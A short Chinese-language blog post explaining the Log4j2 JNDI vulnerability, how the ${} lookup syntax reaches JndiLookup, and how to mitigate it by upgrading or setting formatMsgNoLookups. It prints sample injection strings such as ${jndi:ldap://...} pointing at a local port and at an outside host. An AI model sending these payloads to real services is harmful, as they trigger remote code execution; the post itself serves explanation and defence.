Intro Log4j2 JNDI For CVE

Intro Log4j2 JNDI For CVE

這篇介紹Log4j2 JNDI For CVE。

2021/12/10公告Log4j2漏洞

1
2
3
4
5
6
7
8
9
10
11
Log4j2的xml configuration均對應至相關的外掛物件。
此次出現重大漏洞問題的是一個不太常用的class:JndiLookup。

這個class雖然很少用到,但每次使用info , warn , error等log
寫入時,皆會去檢查是否執行Lookup的邏輯。

各大資安廠商在釋出漏洞驗證報告時的截圖均是以$Jndi
開啟本地計算器為例,以此表示Jndi存在嚴重的安全隱患。

發現 ${jndi:ldap://127.0.0.1:1389/badClassName} 這段程式碼
會開啟了本機的計算機,驗證此漏洞。

JNDI三個概念

1
2
3
4
5
6
7
8
9
10
11
12
1、JNDI全名 Java Naming and Directory Interface,是用於目錄
服務的Java API,它允許Java客戶端通過名稱發現查詢資料和資源(以
Java物件的形式)。

2、觸發Lookup外掛的場景是使用:${},如上述的${java:version}
表示使用JavaLookup外掛,傳入值為version然後返回對應的結果,而
此處的${jndi:ldap://ip:port} 則同理表示呼叫JndiLookup傳入值
為 ldap://ip:port。

3、jndi是目錄介面,所以JndiLookup中則是各種目錄介面的實現集合,
可發現JndiLookup中可直接呼叫的具體實現類有很多,其中就包括
LdapURLContext。

結論 & 解決方法

1
2
3
4
5
6
7
8
9
10
11
首先jndi本身並不是Log4j2框架的產物,而是Jdk自身的功能,對應的包路徑為com.sun.jndi。

而Log4j2框架中JndiLookup使用到了Jndi的功能,但是對應的傳參則較為隨意,
這就是一個很大的問題,如通過http的方式給傳引數為:${jndi:ldap://davidchenblog.com/service}
而服務又恰巧把該引數打到了日誌中,這就會導致很大的漏洞,因為誰也無法
保證注入的davidchenblog.com/service返回的物件是什麼,相當於是一個很大
的後門,注入者可以通過此漏洞任意執行所有程式碼。

解決方法:
1. 將Log4j2升級至2.16.0版本。
2. 無法短時間升級時,在現有專案下增加log4j2.formatMsgNoLookups=true